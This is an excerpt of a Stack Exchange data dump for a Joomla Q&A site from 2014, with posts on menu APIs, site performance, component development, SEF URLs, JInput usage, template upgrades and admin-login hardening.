  <row Id="31" PostTypeId="2" ParentId="9" CreationDate="2014-04-22T18:21:42.913" Score="1" Body="&lt;p&gt;The method getActive return a object with the active menu properties including the parent_id. The JMenu class has a method getItem($id), where $id is a menu id. This method return the same type of object that getActive. So, you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;$parent_id = $menu-&amp;gt;getActive()-&amp;gt;parent_id;&#xA;$parent_title = $menu-&amp;gt;getItem($parent_id)-&amp;gt;title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastActivityDate="2014-04-22T18:21:42.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32" PostTypeId="2" ParentId="19" CreationDate="2014-04-22T18:22:56.580" Score="6" Body="&lt;p&gt;The things I know of that can help (most of which have been listed) are these:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Caching&lt;/li&gt;&#xA;&lt;li&gt;Compression (gzip your css and js files)&lt;/li&gt;&#xA;&lt;li&gt;Combining files (all your css gets combined into one file)&lt;/li&gt;&#xA;&lt;li&gt;Offloading images and files onto a CDN.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've used a combination of the built in Joomla cache (or even APC enabled on the server) and plugins like gzip or rocket theme's rockbooster plugin. I also use nonumbers CDN plugin with an amazon account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It definitely helps, but you have to watch your site and disable the cache for components that have issues. I had to bypass CiviCRM on our site because it didn't play nice with caching. Joomla comes with a cachecontrol plugin that can handle that.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-04-22T18:22:56.580" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33" PostTypeId="2" ParentId="10" CreationDate="2014-04-22T18:26:09.783" Score="3" Body="&lt;p&gt;Have you taken a look at the &lt;a href=&quot;https://github.com/joomla/Joomla-3.2-Hello-World-Component&quot; rel=&quot;nofollow&quot;&gt;Joomla Hello World component&lt;/a&gt;? I have not looked at it yet, but it looks like it has the minimum files needed for building a component. Also since Joomla 3.2 includes Framework on Framework (FOF), have you looked at the &lt;a href=&quot;https://github.com/akeeba/todo-fof-example&quot; rel=&quot;nofollow&quot;&gt;To-Do FOF example&lt;/a&gt; component? I know that I have writing a custom Joomla 3.x component on my list of things to do and these were the two examples I was planning to use in beginning the project. Hopefully, they will work for you too.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2014-04-22T18:26:09.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34" PostTypeId="2" ParentId="9" CreationDate="2014-04-22T18:26:32.710" Score="1" Body="&lt;p&gt;Since you can get the active menu, you can get the rest by getting the &lt;code&gt;tree&lt;/code&gt;. This is usefull to traverse the item list, not just the parent!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that you understand better, I'm spliting the answer in parts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.&#xA;Create a variable for the active menu (for simplicity and portability):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = &amp;amp;JSite::getMenu();&#xA;$active = $menu-&amp;gt;getActive();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.&#xA;Pick the previous/parent menu by getting the previous item in the tree:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parent_item_id = $active-&amp;gt;tree[count($active-&amp;gt;tree) - 2];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; the &lt;code&gt;tree&lt;/code&gt; is an array, and starts with zero, that's why I am subtracting by 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.&#xA;Finally get the menu title:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu-&amp;gt;getItem($parent_item_id)-&amp;gt;title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Mind you that you also need to add some checks to see if there is an active menu, and/or other error checks.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2014-04-22T18:26:32.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35" PostTypeId="2" ParentId="11" CreationDate="2014-04-22T18:27:13.983" Score="6" Body="&lt;p&gt;You can also run &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/12254&quot;&gt;jSecure&lt;/a&gt; on your site, it's a simple component that moves the administrator login to something other than &lt;code&gt;/administrator/index.php&lt;/code&gt;. It can also redirect requests to the old admin page to something like a &lt;code&gt;403&lt;/code&gt; page and has some basic IP auto banning functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a small change but I find it greatly reduces the number of bots requests on a site.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2014-04-22T18:27:13.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36" PostTypeId="1" AcceptedAnswerId="39" CreationDate="2014-04-22T18:28:48.080" Score="7" ViewCount="7776" Body="&lt;p&gt;In my module, this code is being used to generate the URL of the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JURI::base() . ContentHelperRoute::getArticleRoute(  $article-&amp;gt;id,  $article-&amp;gt;catid )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works exaclty as it should and produces a URL that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=83&amp;amp;catid=26&amp;amp;Itemid=162&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I would like to know if there is a way to get the module to generate the SEF URL for the current page. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/resources/blog/83-illustration&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="65" LastEditorUserId="126" LastEditDate="2015-08-21T18:16:24.917" LastActivityDate="2016-04-03T15:09:09.713" Title="How do I generate a SEF URL in a custom module instead of the real URL?" Tags="|php|module|sef|url|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37" PostTypeId="2" ParentId="26" CreationDate="2014-04-22T18:28:56.207" Score="3" Body="&lt;p&gt;If you don't have any custom changes to the template - just install the new one over the current one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you made some custom changes you will need to redo the changes or diff the your current template code and the new template code.&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2014-04-22T18:28:56.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38" PostTypeId="2" ParentId="19" CreationDate="2014-04-22T18:29:15.350" Score="13" Body="&lt;p&gt;One BIG thing you can do to improve response times for your site is to update your module settings. Custom modules (using mod_custom) have an option to enable / disable the preparing of content. This allows you to run content plugins on the data content within your custom module. It's powerful when used properly, but it does add additional rendering time to the module output. Unless you are actually making use of a content plugin within your custom module content, it's best to turn that off. You'll see an decrease in module rendering time when you do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of the setting: &lt;img src=&quot;https://i.stack.imgur.com/wlbSl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: If my answer helped you, please click the check to the left to accept the answer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-04-22T22:28:58.580" LastActivityDate="2014-04-22T22:28:58.580" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39" PostTypeId="2" ParentId="36" CreationDate="2014-04-22T18:32:08.620" Score="14" Body="&lt;p&gt;Use JRoute for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rtrim(JUri::base(), '/') . JRoute::_(ContentHelperRoute::getArticleRoute(  $article-&amp;gt;id,  $article-&amp;gt;catid ))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but you don't need JUri::base() if you don't want to link to a different domain.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2016-04-03T15:09:09.713" LastActivityDate="2016-04-03T15:09:09.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40" PostTypeId="1" AcceptedAnswerId="42" CreationDate="2014-04-22T18:33:22.837" Score="7" ViewCount="1631" Body="&lt;p&gt;Is it possible to get the generator tag removed from Joomla sites without interfering with the core framework. I personally feel this is an irritating aspect of the source code and makes websites easily attacked if some security flaw in a particular version is exploited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain it in detail: If some flaw is exploited in, say Joomla 3.2, then all websites based on Joomla 3.2 are targets and those websites can easily be found using generator tags. So I want to get rid of them.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="126" LastEditDate="2015-08-21T18:16:56.170" LastActivityDate="2016-03-02T22:39:54.463" Title="Is it possible to get generator tag removed from Joomla sites without interfering core framework?" Tags="|cms|extensions|overrides|plugin|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41" PostTypeId="2" ParentId="36" CreationDate="2014-04-22T18:33:39.293" Score="4" Body="&lt;p&gt;There is a system plugin called System: SEF. When enabled, this plugin scans the final HTML output just before it is sent to the browser, and replaces any non-SEF links with their SEF counterparts by running it through &lt;code&gt;JRoute::_($url);&lt;/code&gt;. This only works for internal links though beginning with &lt;code&gt;index.php&lt;/code&gt;, so it won't work if the link starts with &lt;code&gt;http://&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try removing &lt;code&gt;JUri::base()&lt;/code&gt; (and thus removing the http:// from the link) and it should work if the plugin is enabled.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-04-22T18:33:39.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42" PostTypeId="2" ParentId="40" CreationDate="2014-04-22T18:37:25.507" Score="4" Body="&lt;p&gt;Once I have used a tiny plugin called ByeByeGenerator ( &lt;a href=&quot;http://extensions.joomla.org/extensions/site-management/seo-a-metadata/generator-tag/12556&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/site-management/seo-a-metadata/generator-tag/12556&lt;/a&gt; ), which removed the generator tag immediately!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a try!&lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2014-04-22T18:37:25.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43" PostTypeId="2" ParentId="10" CreationDate="2014-04-22T18:37:32.307" Score="5" Body="&lt;p&gt;I don't like to recommend any sort of 'framework' for this sort of thing for several reasons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The CMS has a 'framework', and I wish if there was a need to make it 'easier' to write extensions we would focus on the core framework code instead of writing 3rd party items. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If you write your extension on a framework that goes defunct you're rather screwed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Using the core is ideally going to make updates better. This has not ALWAYS been the case which is why there are 3rd party frameworks for this, but the more we insist on it being the case and expect it to be, the more it actually will be. If we don't focus on it it'll never improve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with that said, there is a &quot;RAD Framework&quot; in Joomla called FoF (framework on framework). I have not used it but it's said to be a time saving tool. There's some documentation on it here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/documentation/fof/getting-started-with-fof.html&quot;&gt;https://www.akeebabackup.com/documentation/fof/getting-started-with-fof.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note - FoF is INCLUDED in Joomla 3.2's distro, so you don't need to install it if you're extension is for Joomla 3.2+. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally - if you are wanting to stay in the core and use the core MVC classes, currently it's still encouraged to use the legacy MVC classes (will be changing as soon as the new MVC is thoroughly sussed through). A good base extension to look at is really the com_contact or com_banners component. They're fairly simple and you can pick up on things like JForm and custom models that way. &lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-04-22T18:37:32.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44" PostTypeId="2" ParentId="26" CreationDate="2014-04-22T18:37:47.487" Score="1" Body="&lt;p&gt;There ARE some advanced staging options. I think siteground has something like this. There are ways to replace parts of a site without overriding all of the db tables, so if you've got the time and resources to look into this, it CAN be done...it just takes some good setup time (and you have to get your brain around it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you're talking changing the theme on a few pages, why not just upload the new theme under a different name and apply it to some hidden menu items while you work on it. No one will see it and you can tweak the settings and then apply it to the correct menu items when you're done.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-04-22T18:37:47.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="45" PostTypeId="2" ParentId="11" CreationDate="2014-04-22T18:40:42.760" Score="4" Body="&lt;p&gt;There are components that can help with this. sh404SEF by Anything Digital has the ability to monitor, throttle and block requests based on a preset config that you define. I think Akeeba Admin Tools Pro allows this as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing else, you can always view your server logs in cPanel and add blocking config to your site .htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-04-22T18:40:42.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="47" PostTypeId="2" ParentId="3" CreationDate="2014-04-22T18:51:08.053" Score="7" Body="&lt;p&gt;@Bakual did a good job of explaining it, but I just wanted to add that a big purpose of the Framework is to improve practices for everyone who develops extensions for the CMS. It follows modern practices and makes it easier to write clean, testable code. I say this from the standpoint as a big proponent of the Framework (I've contributed heavily) and from the fact that I use the Joomla! CMS every day at work, and I want to make that easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Framework is the future!&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-04-22T18:51:08.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="48" PostTypeId="2" ParentId="40" CreationDate="2014-04-22T18:53:03.920" Score="12" Body="&lt;p&gt;If you use a custom template (or you write your own) you can easily remove the generator tag by putting the following code at the top of your template's &lt;code&gt;index.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;setGenerator(null);&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-04-22T18:53:03.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="49" PostTypeId="1" CreationDate="2014-04-22T18:53:10.417" Score="13" ViewCount="148" Body="&lt;p&gt;I purchase and use several extensions on an annual subscription basis (and whenever the Extension provider has an unlimited use option - I usually go for that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many extension providers have a Download ID, API Key or Subscription Key which is for upgrades and ongoing updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually build a boilerplate (i.e. a site with the extensions installed and configured), then clone those boilerplates to generate 'Quick Start' Joomla! sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use these boilerplates for my own clients (i.e. site owners whom I design and develop for), and I also share these boilerplates with other Joomlaists in my user group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like the people who receive and use those boilerplates to get ongoing updates as well, and I keep my subscriptions paid up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to remove the Download IDs and Subscription Keys before distributing my Joomla! sites? &lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2014-04-22T20:34:09.220" Title="Are Download IDs, API and Subscription Keys free to distribute with GPL extensions?" Tags="|gpl|extensions|subscriptions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="50" PostTypeId="2" ParentId="10" CreationDate="2014-04-22T18:54:00.560" Score="4" Body="&lt;p&gt;I would HIGHLY recommend &lt;a href=&quot;http://www.j-cook.pro/&quot; rel=&quot;nofollow&quot;&gt;Cook Self Service&lt;/a&gt;.  I believe there's a small charge, but it generated about 85% of our major education component, saving $1000's to get started with, and the code it generated was nice and clean for our modification.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-04-22T18:54:00.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="51" PostTypeId="2" ParentId="49" CreationDate="2014-04-22T18:56:17.590" Score="11" Body="&lt;p&gt;I think you have two different questions here. In my opinion (IANAL) it is perfectly fine to create this &quot;Quick Start&quot; Joomla packages that include these extensions and keys for your own use, but it starts to get grey when you distribute them to others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code of a Joomla extension itself must be GPL, and is therefore able to be distributed freely. The subscription keys, however, offer additional access to the services you paid for, typically upgrades and support. Depending on the extension provider, distributing those are more than likely a violation of the terms, and not acceptable use.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-04-22T18:56:17.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="52" PostTypeId="2" ParentId="49" CreationDate="2014-04-22T18:57:26.033" Score="6" Body="&lt;p&gt;I believe if it's GPL then you're allowed to do that, but I always check the developer's site to see if they have restrictions. Many of them only support 1 domain, others don't care. I tend to put JCE on everything I build (including the paid plugins). I also validate Rocket Theme's updater on sites that use a Rocket theme, but for other plugins, I tend to be a little more selective and just update the site if the client asks me to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then again, I don't promise them more than about 30 days of updates unless they want to pay me to maintain their site. And if they start to do that I'll likely use watchful.li to push out updates anyway (then your akeeba and a few other codes are safe in the watchful site).&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-04-22T18:57:26.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="53" PostTypeId="2" ParentId="26" CreationDate="2014-04-22T18:59:00.610" Score="14" Body="&lt;p&gt;Upgrading a template should be as simple as using the Joomla installer to upload and install the updated version of the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For it to work, though, the templateDetails.xml file must define the 'method' as 'upgrade', rather than 'install'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check this by unzipping the template install file, opening the templateDetails.xml file and check for the following at or around line 3:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension version=&quot;2.5&quot; type=&quot;template&quot; method=&quot;upgrade&quot; client=&quot;site&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the &lt;code&gt;method=&quot;install&quot;&lt;/code&gt;, change it to &lt;code&gt;method=&quot;upgrade&quot;&lt;/code&gt;, and save the file.  Zip up the package and point the installer at it and you should be good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A note about customizations:  This process will upload the full template, potentially overwriting any customizations you've done.  For this reason it's a good idea to add any and all customizations you might like to do to a single file for easy backup and re-adding.  I like to use a CSS file I name 'custom.css', and load this file last, so that my customizations override the defaults.  &lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2014-04-22T18:59:00.610" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="54" PostTypeId="2" ParentId="10" CreationDate="2014-04-22T18:59:52.603" Score="8" Body="&lt;p&gt;After writing numerous extensions for clients, I found myself following a lot of the same patterns over and over. To keep things DRY, I created a &quot;component framework&quot; that abstracts away most of the common tasks that I do, but so far it's only been used internally at my company. It lacks a lot of features, but it gets the job done for what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I said that to say this - develop your own component framework in the same way. Take the commonalities of the code you are currently producing, and move it up a level in the OO hierarchy into it's own layer that sits between your component and Joomla. With this approach, you avoid the &quot;if the framework goes bust&quot; problem that Chad mentioned, and you understand it that much better. It's worked well for me so far.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-04-22T18:59:52.603" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="55" PostTypeId="1" AcceptedAnswerId="60" CreationDate="2014-04-22T19:02:23.833" Score="26" ViewCount="13800" Body="&lt;p&gt;In Joomla! 2.5.x I could simply run &lt;code&gt;JRequest::get('post');&lt;/code&gt; but seeing as &lt;code&gt;JRequest&lt;/code&gt; is deprecated in Joomla! 3.x I should use &lt;code&gt;JInput&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At them moment this is the code I'm using to get the entire &lt;code&gt;$_POST&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$postData = $app-&amp;gt;input-&amp;gt;getArray(array_flip(array_keys($_POST)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this seems rather cumbersome and I run into issues if used in conjunction with &lt;code&gt;$app-&amp;gt;input-&amp;gt;set();&lt;/code&gt; I would think there would be a better way? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When searching for this before I've found people saying you can simply run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$postData = $app-&amp;gt;input-&amp;gt;post;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I tried this out I simply got an instance of the &lt;code&gt;JInput&lt;/code&gt; object.&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="159" LastEditDate="2014-05-12T06:24:37.587" LastActivityDate="2016-05-11T05:43:04.017" Title="What's the proper way to get the entire $_POST?" Tags="|cms|php|jinput|jrequest|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="56" PostTypeId="1" AcceptedAnswerId="67" CreationDate="2014-04-22T19:04:20.697" Score="7" ViewCount="3776" Body="&lt;p&gt;I have been battling with this for some time now. I have built a custom component for forms and it uses Joomla's mail functions to send email. I have checked all the data to make sure it is correct but the email just does not send, &lt;code&gt;$mailer-&amp;gt;Send()&lt;/code&gt; returns true as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turning on every style of error reporting reports no errors as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer = JFactory::getMailer();&#xA;$mailer-&amp;gt;setSender($settings-&amp;gt;sender);&#xA;$mailer-&amp;gt;addRecipient($settings-&amp;gt;to);&#xA;$mailer-&amp;gt;setSubject($settings-&amp;gt;subject);&#xA;$mailer-&amp;gt;isHTML(true);&#xA;$mailer-&amp;gt;setBody($settings-&amp;gt;body);&#xA;if($send = $mailer-&amp;gt;Send()){&#xA;  //email worked&#xA;  //print_r($settings);&#xA;  //exit;&#xA;}else{&#xA;  echo 'error';&#xA;  exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the heart of the component where the email is sent, the $settings is an object I use to store the information that I need to send the email, and after what is read as a &quot;successful&quot; send it outputs all the proper information. However mandrill, the service we use for emails never gets the email, meaning that as far as I can tell it failed to connect to SMTP meaning it should of had an error at some point in the connection, but Joomla fails to see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This same code works on many other sites, the one in question is a subdomain and hosted with hostgator, though without any form of error I have no clue where to start looking for a fix.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="10" LastEditDate="2014-04-25T12:48:58.173" LastActivityDate="2014-04-25T12:48:58.173" Title="SMTP no error but not sending email" Tags="|cms|php|smtp|jmail|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="57" PostTypeId="5" CreationDate="2014-04-22T19:07:22.457" Score="0" Body="&lt;h2&gt;What is a plugin?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plugins or extensions are software components which connect to the main software component and extend their functionalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are used extensively to extend the core functionality of software like Joomla, Wordpress, browsers and so on. These are generally light and also known as add-on, extensions and so on.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Joomla Plugins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla Plugins are grouped together depending on which event they run on. A full list of plugins grouped by event type can be found &lt;a href=&quot;http://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla! plugin architecture follows the &lt;a href=&quot;http://en.wikipedia.org/wiki/Observer_pattern&quot; rel=&quot;nofollow&quot;&gt;Observer design pattern&lt;/a&gt;. The JPlugin class provides the means to register custom plugin code with core or custom events. The JDispatcher class (JEventDispatcher in Joomla 3.x) is an event handler which calls all plugins registered for a particular event, when that event is triggered.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Plugin Development&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A tutorial for basic plugin development can be found in the &lt;a href=&quot;http://docs.joomla.org/Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;Joomla! Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="1629" LastEditDate="2014-08-02T19:12:00.310" LastActivityDate="2014-08-02T19:12:00.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="58" PostTypeId="4" CreationDate="2014-04-22T19:07:22.457" Score="0" Body="A plugin is a kind of Joomla! extension. Plugins provide functions which are associated with trigger events." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-02T19:11:49.723" LastActivityDate="2014-08-02T19:11:49.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="60" PostTypeId="2" ParentId="55" CreationDate="2014-04-22T19:12:14.173" Score="31" Body="&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$postData = $app-&amp;gt;input-&amp;gt;post;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the way to go, you will get a JInput object and can use it like JRequest&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$var = $postData-&amp;gt;get('varname', 'defaultvalue', 'filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The filter could be 'int', 'cmd' or many others - the complete list can be found in this function: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/a3df15f1ddad6d9051d53f939b6afd2f5fca60b7/libraries/joomla/filter/input.php#L138&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/a3df15f1ddad6d9051d53f939b6afd2f5fca60b7/libraries/joomla/filter/input.php#L138&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would only like the array, then you can do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$array = $app-&amp;gt;input-&amp;gt;post-&amp;gt;getArray();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But you should &lt;strong&gt;avoid&lt;/strong&gt; this style of accessing user-data without filtering.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="3944" LastEditDate="2016-05-11T05:43:04.017" LastActivityDate="2016-05-11T05:43:04.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="62" PostTypeId="2" ParentId="6" CreationDate="2014-04-22T19:16:04.787" Score="4" Body="&lt;p&gt;One big thing that helps with grouping your contributions is to move each contribution into a separate, appropriately named, branch. If you're adding a feature, use a prefix like &lt;code&gt;feature-&lt;/code&gt; and the add a one or two word feature description for the branch name. If it's a bug fix in the &lt;code&gt;JForm&lt;/code&gt; class, use &lt;code&gt;bugfix-jform&lt;/code&gt;. This makes it &lt;em&gt;really&lt;/em&gt; easy to identify what you're working on by checking your git branches via &lt;code&gt;git branch -a&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-04-22T19:16:04.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="63" PostTypeId="2" ParentId="55" CreationDate="2014-04-22T19:16:41.880" Score="4" Body="&lt;p&gt;It seems another way to accomplish this is simply pass an empty array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$postData = $app-&amp;gt;input-&amp;gt;getArray(array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will retrieve everything in the &lt;code&gt;JInput&lt;/code&gt; data var as if you were accessing the &lt;code&gt;$_REQUEST&lt;/code&gt; super.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not work in the Joomla! 2.5.x version of &lt;code&gt;JInput&lt;/code&gt; though.&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditDate="2014-04-22T20:00:39.440" LastActivityDate="2014-04-22T20:00:39.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
